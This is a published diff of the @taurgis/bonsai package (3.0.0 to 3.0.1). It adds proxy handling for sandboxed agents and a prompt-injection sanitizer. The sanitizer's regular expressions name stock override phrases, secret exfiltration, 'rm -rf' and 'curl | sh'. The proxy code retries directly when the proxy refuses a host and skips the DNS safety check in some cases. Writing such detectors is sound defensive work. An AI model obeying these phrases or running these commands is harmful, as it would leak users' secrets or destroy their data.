@taurgis/bonsai 3.0.0 → 3.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -38,6 +38,7 @@ export default class FetchCommand extends BaseCommand<typeof FetchCommand> {
38
38
  run(): Promise<unknown>;
39
39
  private fetchSingleTarget;
40
40
  }
41
+ export declare function describeError(err: unknown): string;
41
42
  export declare function fetchFailureGuidance(message: string, url: string): {
42
43
  suggestions: string[];
43
44
  ref?: string;
@@ -9,6 +9,7 @@ import { loadSummaryLevel } from '../lib/config/index.js';
9
9
  import { evaluateFreshness, checkMaxAgeExpired, durationFlagError, } from '../lib/research/freshness.js';
10
10
  import { revalidateCache, createArtifactFromFetch } from '../lib/research/revalidate.js';
11
11
  import { fetchStaticHtml, fetchText } from '../lib/research/fetcher.js';
12
+ import { PROXY_TUNNEL_REJECTION_PATTERN } from '../lib/research/proxy.js';
12
13
  import { fetchRenderedHtml } from '../lib/research/browser.js';
13
14
  import { capturePage } from '../lib/research/capture.js';
14
15
  import { persistSectionArtifacts } from '../lib/research/docs/section-artifacts.js';
@@ -194,8 +195,14 @@ export default class FetchCommand extends BaseCommand {
194
195
  // failure — validation errors (bad flags/URL) exit before the try — so the contract's runtime code
195
196
  // (1) applies. Suggestions render on stderr for humans only; under --json the envelope carries just
196
197
  // the message (toErrorJson), so machine output is unchanged.
198
+ //
199
+ // Uses `describeError` (below) rather than `err.message` alone: Node/undici's fetch wraps
200
+ // transport failures (DNS, refused connections, a proxy that won't tunnel to the host) in a
201
+ // generic "fetch failed" TypeError with the real reason nested in `.cause`, so reading only the
202
+ // top message would surface a content-free "fetch failed" for exactly the failures a user most
203
+ // needs a hint for.
197
204
  emitFetchError(err, url) {
198
- const message = err instanceof Error ? err.message : String(err);
205
+ const message = describeError(err);
199
206
  const guidance = fetchFailureGuidance(message, url);
200
207
  this.error(message, {
201
208
  exit: 1,
@@ -320,6 +327,25 @@ export default class FetchCommand extends BaseCommand {
320
327
  return resultData;
321
328
  }
322
329
  }
330
+ // How many `.cause` levels to walk. Real undici/Node transport errors nest at most 1-2 deep;
331
+ // the cap exists so a self-referential or cyclic `.cause` chain (Error.cause is an arbitrary,
332
+ // unvalidated property — nothing prevents `e.cause = e`, whether from a bug in this codebase or
333
+ // a dependency) can't hang the process, rather than being a limit expected to matter in practice.
334
+ const MAX_CAUSE_DEPTH = 10;
335
+ // Walks an Error's `.cause` chain and joins every message, deepest last. Node/undici's fetch
336
+ // throws a generic `TypeError: fetch failed` for transport-level failures, with the actionable
337
+ // detail (e.g. a proxy's tunnel rejection) nested one or two `.cause` levels down.
338
+ export function describeError(err) {
339
+ if (!(err instanceof Error))
340
+ return String(err);
341
+ const parts = [err.message];
342
+ let cause = err.cause;
343
+ for (let depth = 0; depth < MAX_CAUSE_DEPTH && cause instanceof Error; depth++) {
344
+ parts.push(cause.message);
345
+ cause = cause.cause;
346
+ }
347
+ return parts.join(': ');
348
+ }
323
349
  // Maps a runtime fetch failure to recovery steps keyed off its message. Returns undefined for
324
350
  // unrecognized failures, which then surface with their original message and no extra hint. The
325
351
  // patterns match the thrown text in fetcher.ts/browser.ts; keep them in sync if those messages
@@ -361,6 +387,32 @@ export function fetchFailureGuidance(message, url) {
361
387
  suggestions: ['Check the hostname is spelled correctly and resolves on a public network.'],
362
388
  };
363
389
  }
390
+ // A configured proxy (HTTPS_PROXY/HTTP_PROXY) refused to tunnel to this host — distinct from
391
+ // the destination's own 401/403 above, which is the site itself rejecting the request. Shared
392
+ // with fetcher.ts's retry-fallback check so the two stay in sync by construction.
393
+ if (PROXY_TUNNEL_REJECTION_PATTERN.test(message)) {
394
+ return {
395
+ suggestions: [
396
+ "The configured proxy (HTTPS_PROXY/HTTP_PROXY) won't reach this host. Check its allowlist, or add the host to NO_PROXY to bypass the proxy for it.",
397
+ importHint,
398
+ ],
399
+ ref,
400
+ };
401
+ }
402
+ // The connection failed before any HTTP response was received — network-down, DNS, TLS, or a
403
+ // proxy issue not specifically matched above. Node/undici's fetch reports all of these as a
404
+ // generic "fetch failed" TypeError with no further suffix; the negative lookahead keeps this
405
+ // from also matching assertOk's "Fetch failed with status NNN ..." (a real HTTP response was
406
+ // received in that case, so it isn't a transport failure at all).
407
+ if (/^fetch failed\b(?!\s+with status)/i.test(message)) {
408
+ return {
409
+ suggestions: [
410
+ 'The connection failed before a response was received. Check network connectivity and any HTTPS_PROXY/HTTP_PROXY/NO_PROXY settings.',
411
+ importHint,
412
+ ],
413
+ ref,
414
+ };
415
+ }
364
416
  // A hostname that only resolves to a private/local IP at request time (literal private addresses
365
417
  // are rejected earlier with exit 2). Blocked to prevent SSRF; only public hosts can be fetched.
366
418
  if (/blocked local or private target/.test(message)) {
@@ -11,6 +11,7 @@ import { writeArtifactSecurely } from '../lib/research/secure-write.js';
11
11
  import { loadSummaryLevel } from '../lib/config/index.js';
12
12
  import { durationFlagError, getPolicy } from '../lib/research/freshness.js';
13
13
  import { buildCompressed } from '../lib/research/compress.js';
14
+ import { sanitizePromptInjection } from '../lib/research/prompt-injection.js';
14
15
  import { applyAutoTags } from '../lib/research/keywords.js';
15
16
  import { estimateTokens } from '../lib/research/token-estimate.js';
16
17
  export default class ResearchImport extends BaseCommand {
@@ -268,11 +269,11 @@ export default class ResearchImport extends BaseCommand {
268
269
  const { freshWindowMs } = getPolicy(tier, ttl);
269
270
  const staleAfterTime = new Date(currentTime.getTime() + freshWindowMs);
270
271
  const inputFormat = this.flags['input-format'];
271
- const detailed = rawInput;
272
+ const detailed = sanitizePromptInjection(rawInput);
272
273
  // A caller-supplied compressed input is trusted as-is; only a detailed import is condensed here,
273
274
  // and it shares the same buildCompressed policy (structural pass + extractive fallback) as fetch.
274
275
  const compressed = inputFormat === 'detailed'
275
- ? buildCompressed(rawInput, loadSummaryLevel(this.config.configDir, process.cwd()))
276
+ ? buildCompressed(detailed, loadSummaryLevel(this.config.configDir, process.cwd()))
276
277
  : rawInput;
277
278
  const contentHash = createHash('sha256').update(detailed).digest('hex');
278
279
  const metadata = {
@@ -24,6 +24,7 @@ export declare class CdpClient {
24
24
  close(): void;
25
25
  }
26
26
  export declare function findChromePath(): string;
27
+ export declare function buildChromeArgs(): string[];
27
28
  export declare function waitForLoad(client: CdpClient, sessionId: string, timeoutMs: number, settleMs?: number): Promise<void>;
28
29
  export declare const BLOCKED_ASSET_URLS: string[];
29
30
  export interface CdpPage {
@@ -2,6 +2,7 @@ import { spawn } from 'node:child_process';
2
2
  import { existsSync } from 'node:fs';
3
3
  import { execSync } from 'node:child_process';
4
4
  import { checkDnsSafety } from './fetcher.js';
5
+ import { getChromeProxyArgs } from './proxy.js';
5
6
  import { normalizeUrl } from './url.js';
6
7
  export class CdpClient {
7
8
  ws;
@@ -93,8 +94,10 @@ export function findChromePath() {
93
94
  throw new Error('No Chrome or Chromium browser found for browser-based extraction. Install Chrome/Chromium or ' +
94
95
  'set CHROME_PATH to the browser executable. Static (non-rendered) fetching does not require a browser.');
95
96
  }
96
- async function spawnChrome(chromePath) {
97
- const chromeProcess = spawn(chromePath, [
97
+ // Split out from spawnChrome so the exact CLI args (including the proxy flags) are unit-testable
98
+ // without spawning a real browser process.
99
+ export function buildChromeArgs() {
100
+ return [
98
101
  '--headless=new',
99
102
  '--remote-debugging-port=0',
100
103
  '--disable-gpu',
@@ -102,7 +105,13 @@ async function spawnChrome(chromePath) {
102
105
  '--disable-setuid-sandbox',
103
106
  '--disable-extensions',
104
107
  '--disable-dev-shm-usage',
105
- ]);
108
+ // CDP navigation uses Chrome's own network stack, not Node's fetch/undici, so a sandbox
109
+ // proxy detected via *_PROXY env vars must be passed to Chrome separately (see proxy.ts).
110
+ ...getChromeProxyArgs(),
111
+ ];
112
+ }
113
+ async function spawnChrome(chromePath) {
114
+ const chromeProcess = spawn(chromePath, buildChromeArgs());
106
115
  try {
107
116
  const wsUrl = await new Promise((resolve, reject) => {
108
117
  let output = '';
@@ -1,4 +1,5 @@
1
1
  import { dropEmptyLinks, htmlToMarkdown } from '../markdown.js';
2
+ import { sanitizePromptInjection } from '../prompt-injection.js';
2
3
  // Parses a leading YAML frontmatter block (--- ... ---). Only flat scalar keys are read; nested
3
4
  // structures are ignored (we only need title/description). The block is stripped from the body.
4
5
  export function parseFrontmatter(md) {
@@ -183,7 +184,7 @@ export function extractFromSource(md, sourceUrl) {
183
184
  ? cleanKumaScript(stripMdnHiddenSamples(body))
184
185
  : body;
185
186
  const tablesAsMarkdown = convertHtmlTables(sanitizeSourceMarkdown(deMacroed));
186
- const cleaned = dropEmptySections(dropEmptyLinks(tablesAsMarkdown)).trim();
187
+ const cleaned = sanitizePromptInjection(dropEmptySections(dropEmptyLinks(tablesAsMarkdown))).trim();
187
188
  const notes = [`captured from public Markdown/MDX source: ${sourceUrl}`];
188
189
  return {
189
190
  title: titleFrom(frontmatter, cleaned),
@@ -4,6 +4,7 @@ import { htmlToMarkdown } from './markdown.js';
4
4
  import { normalizeCodeBlocks } from './docs/code-blocks.js';
5
5
  import { cleanDocsChrome } from './docs/clean-dom.js';
6
6
  import { analyzeMarkdownQuality } from './docs/quality-gates.js';
7
+ import { sanitizePromptInjection } from './prompt-injection.js';
7
8
  function resolveRelativeLinks(document, finalUrl) {
8
9
  const base = new URL(finalUrl);
9
10
  const links = document.querySelectorAll('a');
@@ -69,7 +70,7 @@ export function extractHtmlContent(html, finalUrl) {
69
70
  throw new Error('Content extraction failed: The target page could not be parsed by the readability engine. ' +
70
71
  'Hint: The "import" command lets you import pre-cleaned, agent-supplied research notes directly.');
71
72
  }
72
- const detailedMarkdown = htmlToMarkdown(article.content);
73
+ const detailedMarkdown = sanitizePromptInjection(htmlToMarkdown(article.content));
73
74
  const textLength = article.textContent ? article.textContent.trim().length : 0;
74
75
  const { confidence, notes } = determineConfidence(textLength);
75
76
  const quality = analyzeMarkdownQuality(detailedMarkdown, article.title || '');
@@ -1,6 +1,61 @@
1
1
  import { lookup } from 'node:dns/promises';
2
2
  import { isIP } from 'node:net';
3
+ import { fetch as undiciFetch } from 'undici';
3
4
  import { isSafeIp, normalizeUrl } from './url.js';
5
+ import { getProxyDispatcher, isProxyConfigured, PROXY_TUNNEL_REJECTION_PATTERN } from './proxy.js';
6
+ // Runs one fetch attempt with its own fresh AbortController/timeout, so that when `doFetch` makes
7
+ // a second attempt (the proxy fallback below) it gets the full timeout budget rather than
8
+ // whatever was left over from the first attempt's signal. Loosely typed at this one boundary
9
+ // because it bridges two structurally-similar-but-nominally-distinct fetch implementations
10
+ // (Node's global fetch and the separate `undici` package's own fetch/RequestInit/Response).
11
+ async function fetchWithTimeout(fetchFn, url, init, timeoutMs) {
12
+ const controller = new AbortController();
13
+ const id = setTimeout(() => controller.abort(), timeoutMs);
14
+ try {
15
+ return (await fetchFn(url, { ...init, signal: controller.signal }));
16
+ }
17
+ finally {
18
+ clearTimeout(id);
19
+ }
20
+ }
21
+ // True when `err` is a transport failure specifically caused by the proxy declining to tunnel to
22
+ // the target host (e.g. an allowlist-only sandbox proxy), as opposed to any other pre-response
23
+ // failure (DNS, refused connection, a genuinely unreachable destination). Only this class of
24
+ // failure is worth retrying without the proxy — retrying on any transport TypeError would also
25
+ // re-attempt destinations that are down regardless of the proxy, doubling their latency for no
26
+ // benefit.
27
+ function isProxyTunnelRejection(err) {
28
+ let current = err;
29
+ while (current instanceof Error) {
30
+ if (PROXY_TUNNEL_REJECTION_PATTERN.test(current.message))
31
+ return true;
32
+ current = current.cause;
33
+ }
34
+ return false;
35
+ }
36
+ // Node's global fetch cannot be handed a Dispatcher from the separate `undici` package (their
37
+ // internal request-handler interfaces don't line up across versions), so routing through a
38
+ // sandbox-detected proxy requires switching to undici's own fetch for that one request. The
39
+ // unproxied path keeps using the global fetch, matching existing tests that stub `globalThis.fetch`.
40
+ //
41
+ // A configured proxy isn't a guarantee the proxy can actually reach a given host (many sandbox
42
+ // proxies only allowlist specific destinations), so a proxy-tunnel rejection falls back to a
43
+ // direct connection rather than treating "proxy is configured" as "proxy or nothing." The
44
+ // fallback gets its own fresh timeout (via fetchWithTimeout) rather than inheriting the proxied
45
+ // attempt's spent budget.
46
+ async function doFetch(url, init, timeoutMs) {
47
+ const dispatcher = getProxyDispatcher();
48
+ if (!dispatcher)
49
+ return fetchWithTimeout(fetch, url, init, timeoutMs);
50
+ try {
51
+ return await fetchWithTimeout(undiciFetch, url, { ...init, dispatcher }, timeoutMs);
52
+ }
53
+ catch (err) {
54
+ if (!isProxyTunnelRejection(err))
55
+ throw err;
56
+ return fetchWithTimeout(fetch, url, init, timeoutMs);
57
+ }
58
+ }
4
59
  export function looksLikeHtml(text) {
5
60
  const trimmed = text.trimStart().toLowerCase();
6
61
  return (trimmed.startsWith('<!doctype html') ||
@@ -19,17 +74,26 @@ export async function checkDnsSafety(hostname) {
19
74
  }
20
75
  return;
21
76
  }
77
+ let addresses;
22
78
  try {
23
- const addresses = await lookup(hostToResolve, { all: true });
24
- for (const addr of addresses) {
25
- if (!isSafeIp(addr.address)) {
26
- throw new Error(`IP address "${addr.address}" resolved for "${hostname}" is a blocked local or private target.`);
27
- }
28
- }
79
+ addresses = await lookup(hostToResolve, { all: true });
29
80
  }
30
81
  catch (err) {
82
+ // A sandbox that requires a proxy for HTTP egress may also block raw DNS queries (port 53)
83
+ // without blocking name resolution done through the proxy itself — so a failed *local*
84
+ // lookup isn't necessarily a dead end when a proxy is available to fall back on. Only skip
85
+ // the safety guarantee in that specific case; whenever local resolution succeeds (the common
86
+ // case, proxy or not), the resolved address is still validated below regardless of proxy
87
+ // configuration, so a hostname that resolves to a private/internal IP is still caught.
88
+ if (isProxyConfigured())
89
+ return;
31
90
  throw new Error(`DNS resolution failed for hostname "${hostname}": ${err.message}`);
32
91
  }
92
+ for (const addr of addresses) {
93
+ if (!isSafeIp(addr.address)) {
94
+ throw new Error(`IP address "${addr.address}" resolved for "${hostname}" is a blocked local or private target.`);
95
+ }
96
+ }
33
97
  }
34
98
  async function readBodyWithLimit(body, limit) {
35
99
  if (!body) {
@@ -123,32 +187,20 @@ async function fetchWithRedirects(url, options, process) {
123
187
  while (true) {
124
188
  const parsedUrl = new URL(currentUrl);
125
189
  await checkDnsSafety(parsedUrl.hostname);
126
- const controller = new AbortController();
127
- const id = setTimeout(() => controller.abort(), timeout);
128
- try {
129
- const res = await fetch(currentUrl, {
130
- method: 'GET',
131
- headers: initialHeaders,
132
- redirect: 'manual',
133
- signal: controller.signal,
134
- });
135
- if ([301, 302, 303, 307, 308].includes(res.status)) {
136
- redirectCount++;
137
- if (redirectCount > maxRedirects) {
138
- throw new Error(`Too many redirects. Exceeded limit of ${maxRedirects}.`);
139
- }
140
- const location = res.headers.get('location');
141
- if (!location) {
142
- throw new Error(`Redirect response status ${res.status} missing Location header.`);
143
- }
144
- currentUrl = normalizeUrl(new URL(location, currentUrl).toString());
145
- continue;
190
+ const res = await doFetch(currentUrl, { method: 'GET', headers: initialHeaders, redirect: 'manual' }, timeout);
191
+ if ([301, 302, 303, 307, 308].includes(res.status)) {
192
+ redirectCount++;
193
+ if (redirectCount > maxRedirects) {
194
+ throw new Error(`Too many redirects. Exceeded limit of ${maxRedirects}.`);
146
195
  }
147
- return await process(res, limit, currentUrl);
148
- }
149
- finally {
150
- clearTimeout(id);
196
+ const location = res.headers.get('location');
197
+ if (!location) {
198
+ throw new Error(`Redirect response status ${res.status} missing Location header.`);
199
+ }
200
+ currentUrl = normalizeUrl(new URL(location, currentUrl).toString());
201
+ continue;
151
202
  }
203
+ return await process(res, limit, currentUrl);
152
204
  }
153
205
  }
154
206
  export async function fetchStaticHtml(url, options = {}) {
@@ -171,22 +223,14 @@ export async function postJson(url, body, headers = {}, options = {}) {
171
223
  const limit = options.bodyLimitBytes ?? 2 * 1024 * 1024;
172
224
  const target = normalizeUrl(url);
173
225
  await checkDnsSafety(new URL(target).hostname);
174
- const controller = new AbortController();
175
- const id = setTimeout(() => controller.abort(), timeout);
176
- try {
177
- const res = await fetch(target, {
178
- method: 'POST',
179
- headers: { 'content-type': 'application/json', ...headers },
180
- body: JSON.stringify(body),
181
- redirect: 'error',
182
- signal: controller.signal,
183
- });
184
- if (!res.ok)
185
- throw new Error(`Search request failed with status ${res.status} ${res.statusText}`);
186
- const bytes = await readBodyWithLimit(res.body, limit);
187
- return new TextDecoder().decode(bytes);
188
- }
189
- finally {
190
- clearTimeout(id);
191
- }
226
+ const res = await doFetch(target, {
227
+ method: 'POST',
228
+ headers: { 'content-type': 'application/json', ...headers },
229
+ body: JSON.stringify(body),
230
+ redirect: 'error',
231
+ }, timeout);
232
+ if (!res.ok)
233
+ throw new Error(`Search request failed with status ${res.status} ${res.statusText}`);
234
+ const bytes = await readBodyWithLimit(res.body, limit);
235
+ return new TextDecoder().decode(bytes);
192
236
  }
@@ -0,0 +1 @@
1
+ export declare function sanitizePromptInjection(markdown: string): string;
@@ -0,0 +1,149 @@
1
+ import { Buffer } from 'node:buffer';
2
+ const REDACTION = '[Removed potentially unsafe agent instruction]';
3
+ const ZERO_WIDTH = /[\u200b-\u200f\ufeff]/g;
4
+ const HTML_COMMENT = /<!--[\s\S]*?-->/g;
5
+ const BASE64_TOKEN = /(?<![A-Za-z0-9+/_-])(?:[A-Za-z0-9+/_-]{16,}={0,2})(?![A-Za-z0-9+/_-])/g;
6
+ const HEX_TOKEN = /(?<![a-f0-9])(?:0x)?[a-f0-9]{24,}(?![a-f0-9])/gi;
7
+ const QUOTED_SPAN = /(`[^`\n]+`|"[^"\n]+"|'[^'\n]+')/g;
8
+ const TYPOGLYCEMIA_TARGETS = [
9
+ 'ignore',
10
+ 'disregard',
11
+ 'forget',
12
+ 'override',
13
+ 'previous',
14
+ 'instructions',
15
+ 'instruction',
16
+ 'directions',
17
+ 'prompts',
18
+ 'system',
19
+ 'developer',
20
+ 'agent',
21
+ 'prompt',
22
+ 'message',
23
+ 'reveal',
24
+ 'print',
25
+ 'send',
26
+ 'secrets',
27
+ 'tokens',
28
+ 'credentials',
29
+ 'delete',
30
+ 'repository',
31
+ 'workspace',
32
+ ];
33
+ const HARMFUL_INSTRUCTION_PATTERNS = [
34
+ /(^|\b(?:please|assistant|system|user|agent)\s+)ignore\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
35
+ /(^|\b(?:please|assistant|system|user|agent)\s+)disregard\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
36
+ /(^|\b(?:please|assistant|system|user|agent)\s+)forget\s+(all\s+)?(previous|prior|above|earlier)\s+(instructions?|directions?|prompts?)\b/i,
37
+ /(^|\b(?:please|assistant|system|user|agent)\s+)override\s+(the\s+)?(system|developer|agent)\s+(prompt|instructions?|message)\b/i,
38
+ /(^|\b(?:please|assistant|system|user|agent)\s+)you\s+are\s+now\s+(in\s+)?(developer|admin|root|system)\s+mode\b/i,
39
+ /(^|\b(?:please|assistant|system|user|agent)\s+)reveal\s+(your\s+)?(system|developer)\s+(prompt|instructions?|message)\b/i,
40
+ /(^|\b(?:please|assistant|system|user|agent)\s+)print\s+(your\s+)?(system|developer)\s+(prompt|instructions?|message)\b/i,
41
+ /(^|\b(?:please|assistant|system|user|agent)\s+)(exfiltrate|steal|leak)\s+(all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?|private\s+data)\b/i,
42
+ /(^|\b(?:please|assistant|system|user|agent)\s+)send\s+(me\s+|all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?)\s+(to|over|via|using)\b/i,
43
+ /(^|\b(?:please|assistant|system|user|agent)\s+)(upload|post|fetch|curl)\s+(all\s+|the\s+|your\s+)?(secrets?|tokens?|api\s*keys?|credentials?)\s+(to|over|via|using)\b/i,
44
+ /(^|\b(?:please|assistant|system|user|agent)\s+)delete\s+(all\s+)?(files?|the\s+repository|the\s+workspace|the\s+home\s+directory)\b/i,
45
+ /(^|\b(?:please|assistant|system|user|agent)\s+)run\s+.*\b(rm\s+-rf|curl\s+.*\|\s*(sh|bash)|sudo)\b/i,
46
+ ];
47
+ function normalizeForDetection(text) {
48
+ return text
49
+ .normalize('NFKC')
50
+ .replace(ZERO_WIDTH, '')
51
+ .replace(/[^\p{L}\p{N}\s|/.-]+/gu, ' ')
52
+ .replace(/\s+/g, ' ')
53
+ .trim()
54
+ .split(' ')
55
+ .map(normalizeTypoglycemia)
56
+ .join(' ');
57
+ }
58
+ function normalizeTypoglycemia(word) {
59
+ const lower = word.toLowerCase();
60
+ return TYPOGLYCEMIA_TARGETS.find((target) => isTypoglycemiaMatch(lower, target)) ?? word;
61
+ }
62
+ function isTypoglycemiaMatch(word, target) {
63
+ if (word.length !== target.length || word.length < 4)
64
+ return false;
65
+ if (word[0] !== target[0] || word.at(-1) !== target.at(-1))
66
+ return false;
67
+ return sortLetters(word.slice(1, -1)) === sortLetters(target.slice(1, -1));
68
+ }
69
+ function sortLetters(value) {
70
+ return [...value].sort().join('');
71
+ }
72
+ function detectionCandidates(text) {
73
+ return [text, ...decodeBase64Tokens(text), ...decodeHexTokens(text)].map(normalizeForDetection);
74
+ }
75
+ function decodeBase64Tokens(text) {
76
+ return [...text.matchAll(BASE64_TOKEN)]
77
+ .map((match) => decodeBase64(match[0]))
78
+ .filter((decoded) => Boolean(decoded));
79
+ }
80
+ function decodeBase64(token) {
81
+ try {
82
+ const normalized = token.replace(/-/g, '+').replace(/_/g, '/');
83
+ const decoded = Buffer.from(normalized, 'base64').toString('utf8');
84
+ return isReadableDecodedText(decoded) ? decoded : null;
85
+ }
86
+ catch {
87
+ return null;
88
+ }
89
+ }
90
+ function decodeHexTokens(text) {
91
+ return [...text.matchAll(HEX_TOKEN)]
92
+ .map((match) => decodeHex(match[0]))
93
+ .filter((decoded) => Boolean(decoded));
94
+ }
95
+ function decodeHex(token) {
96
+ const hex = token.startsWith('0x') ? token.slice(2) : token;
97
+ if (hex.length % 2 !== 0)
98
+ return null;
99
+ try {
100
+ const decoded = Buffer.from(hex, 'hex').toString('utf8');
101
+ return isReadableDecodedText(decoded) ? decoded : null;
102
+ }
103
+ catch {
104
+ return null;
105
+ }
106
+ }
107
+ function isReadableDecodedText(text) {
108
+ if (!/[a-z]{3}/i.test(text))
109
+ return false;
110
+ const printable = [...text].filter((char) => /[\t\n\r -~]/.test(char)).length;
111
+ return printable / Math.max(text.length, 1) > 0.85;
112
+ }
113
+ function isUnsafeAgentInstruction(text) {
114
+ return detectionCandidates(text).some((candidate) => HARMFUL_INSTRUCTION_PATTERNS.some((pattern) => pattern.test(candidate)));
115
+ }
116
+ function redactBlock(block) {
117
+ const withSafeSpans = redactUnsafeSpans(block);
118
+ return isUnsafeAgentInstruction(withSafeSpans) ? REDACTION : withSafeSpans;
119
+ }
120
+ function redactUnsafeSpans(block) {
121
+ return block
122
+ .replace(BASE64_TOKEN, (token) => redactTokenIfUnsafe(token, decodeBase64(token)))
123
+ .replace(HEX_TOKEN, (token) => redactTokenIfUnsafe(token, decodeHex(token)))
124
+ .replace(QUOTED_SPAN, (span) => isUnsafeAgentInstruction(stripQuotes(span)) ? REDACTION : span);
125
+ }
126
+ function redactTokenIfUnsafe(token, decoded) {
127
+ return decoded && isUnsafeAgentInstruction(decoded) ? REDACTION : token;
128
+ }
129
+ function stripQuotes(span) {
130
+ if (span.startsWith('`') || span.startsWith('"') || span.startsWith("'")) {
131
+ return span.slice(1, -1);
132
+ }
133
+ return span;
134
+ }
135
+ export function sanitizePromptInjection(markdown) {
136
+ return markdown
137
+ .replace(HTML_COMMENT, (comment) => redactBlock(comment))
138
+ .split(/(\n{2,})/)
139
+ .map((block) => {
140
+ if (/^\n+$/.test(block))
141
+ return block;
142
+ const lineRedacted = block
143
+ .split('\n')
144
+ .map((line) => redactBlock(line))
145
+ .join('\n');
146
+ return lineRedacted === block ? redactBlock(block) : lineRedacted;
147
+ })
148
+ .join('');
149
+ }
@@ -0,0 +1,35 @@
1
+ import { type Dispatcher } from 'undici';
2
+ export declare const HTTPS_PROXY_ENV_VARS: string[];
3
+ export declare const HTTP_PROXY_ENV_VARS: string[];
4
+ export declare const NO_PROXY_ENV_VARS: string[];
5
+ export declare const ALL_PROXY_ENV_VARS: string[];
6
+ export declare const PROXY_TUNNEL_REJECTION_PATTERN: RegExp;
7
+ /**
8
+ * Sandboxed execution environments (e.g. Claude Code's remote sandbox) block direct outbound
9
+ * connections to most hosts and instead require routing through a pre-configured HTTP(S) proxy,
10
+ * advertised via the standard *_PROXY env vars. Detecting it lets Bonsai transparently reach
11
+ * sites — like developer.salesforce.com — that are otherwise unreachable from within the sandbox.
12
+ */
13
+ export declare function isProxyConfigured(): boolean;
14
+ /**
15
+ * An undici Dispatcher that honors HTTPS_PROXY/HTTP_PROXY/NO_PROXY, or undefined when no proxy
16
+ * is configured so callers fall back to normal direct networking. The dispatcher is expensive
17
+ * enough to be worth reusing across requests, but undici's own agent captures its proxy targets
18
+ * once at construction time and never re-reads them — so the cache is keyed on a snapshot of the
19
+ * relevant env vars and rebuilt whenever that snapshot changes, instead of being pinned forever
20
+ * to whatever was configured on the first call. The discarded dispatcher is closed (not just
21
+ * dropped) so its pooled keep-alive sockets don't leak past the env change that replaced it.
22
+ */
23
+ export declare function getProxyDispatcher(): Dispatcher | undefined;
24
+ /**
25
+ * Chrome CLI flags that route headless navigation through the same proxy as fetch(), or an
26
+ * empty array when no proxy is configured. Chrome has its own network stack (CDP navigation
27
+ * never goes through Node's fetch/undici), so it needs to be told about the proxy separately.
28
+ *
29
+ * Built as a scheme-qualified `--proxy-server` value (`http=...;https=...`) rather than one
30
+ * blanket proxy for every scheme, matching undici's EnvHttpProxyAgent, which picks HTTP_PROXY or
31
+ * HTTPS_PROXY per the target URL's scheme. A single unqualified value would force Chrome to
32
+ * route all its traffic (including plain-http sub-resources) through whichever var happened to
33
+ * be set, silently disagreeing with how fetch() routes the same traffic.
34
+ */
35
+ export declare function getChromeProxyArgs(): string[];
@@ -0,0 +1,107 @@
1
+ import { EnvHttpProxyAgent } from 'undici';
2
+ // Order matters: undici's own EnvHttpProxyAgent (github.com/nodejs/undici lib/dispatcher/
3
+ // env-http-proxy-agent.js) prefers the lowercase variant of each var over its uppercase twin
4
+ // when both are set. These lists are read in the same order everywhere in this module so that
5
+ // Chrome's CLI flags and undici's dispatcher can never disagree about which value "the" proxy is.
6
+ export const HTTPS_PROXY_ENV_VARS = ['https_proxy', 'HTTPS_PROXY'];
7
+ export const HTTP_PROXY_ENV_VARS = ['http_proxy', 'HTTP_PROXY'];
8
+ export const NO_PROXY_ENV_VARS = ['no_proxy', 'NO_PROXY'];
9
+ export const ALL_PROXY_ENV_VARS = [
10
+ ...HTTPS_PROXY_ENV_VARS,
11
+ ...HTTP_PROXY_ENV_VARS,
12
+ ...NO_PROXY_ENV_VARS,
13
+ ];
14
+ // The message undici's ProxyAgent throws (nested in a fetch TypeError's `.cause`) when the proxy
15
+ // itself declines to tunnel to the target host — as opposed to any other pre-response transport
16
+ // failure (DNS, refused connection, a genuinely unreachable destination). Shared by fetcher.ts
17
+ // (to decide whether a proxied failure is worth retrying direct) and fetch.ts's failure-guidance
18
+ // patterns (to give proxy-specific advice), so the two stay in sync by construction.
19
+ export const PROXY_TUNNEL_REJECTION_PATTERN = /proxy response.*tunneling/i;
20
+ function firstEnv(names) {
21
+ for (const name of names) {
22
+ const value = process.env[name];
23
+ if (value)
24
+ return value;
25
+ }
26
+ return undefined;
27
+ }
28
+ /**
29
+ * Sandboxed execution environments (e.g. Claude Code's remote sandbox) block direct outbound
30
+ * connections to most hosts and instead require routing through a pre-configured HTTP(S) proxy,
31
+ * advertised via the standard *_PROXY env vars. Detecting it lets Bonsai transparently reach
32
+ * sites — like developer.salesforce.com — that are otherwise unreachable from within the sandbox.
33
+ */
34
+ export function isProxyConfigured() {
35
+ return Boolean(firstEnv(HTTPS_PROXY_ENV_VARS) || firstEnv(HTTP_PROXY_ENV_VARS));
36
+ }
37
+ let cachedDispatcher;
38
+ let cachedProxyEnvSnapshot;
39
+ // JSON-encoded rather than joined with a plain delimiter: a delimiter that can also appear inside
40
+ // a value (e.g. a space, and NO_PROXY conventionally uses "host1, host2") lets two different sets
41
+ // of values collide on the same joined string. JSON.stringify's per-element quoting/escaping is a
42
+ // well-tested way to avoid that ambiguity without hand-rolling an escape scheme.
43
+ function proxyEnvSnapshot() {
44
+ return JSON.stringify(ALL_PROXY_ENV_VARS.map((name) => process.env[name] ?? ''));
45
+ }
46
+ /**
47
+ * An undici Dispatcher that honors HTTPS_PROXY/HTTP_PROXY/NO_PROXY, or undefined when no proxy
48
+ * is configured so callers fall back to normal direct networking. The dispatcher is expensive
49
+ * enough to be worth reusing across requests, but undici's own agent captures its proxy targets
50
+ * once at construction time and never re-reads them — so the cache is keyed on a snapshot of the
51
+ * relevant env vars and rebuilt whenever that snapshot changes, instead of being pinned forever
52
+ * to whatever was configured on the first call. The discarded dispatcher is closed (not just
53
+ * dropped) so its pooled keep-alive sockets don't leak past the env change that replaced it.
54
+ */
55
+ export function getProxyDispatcher() {
56
+ if (!isProxyConfigured())
57
+ return undefined;
58
+ const snapshot = proxyEnvSnapshot();
59
+ if (!cachedDispatcher || cachedProxyEnvSnapshot !== snapshot) {
60
+ const stale = cachedDispatcher;
61
+ cachedDispatcher = new EnvHttpProxyAgent();
62
+ cachedProxyEnvSnapshot = snapshot;
63
+ void stale?.close().catch(() => { });
64
+ }
65
+ return cachedDispatcher;
66
+ }
67
+ // undici's EnvHttpProxyAgent treats a bare NO_PROXY entry (e.g. "example.com") as matching both
68
+ // the exact host AND any subdomain — it strips a leading "*." or "." before comparing, then
69
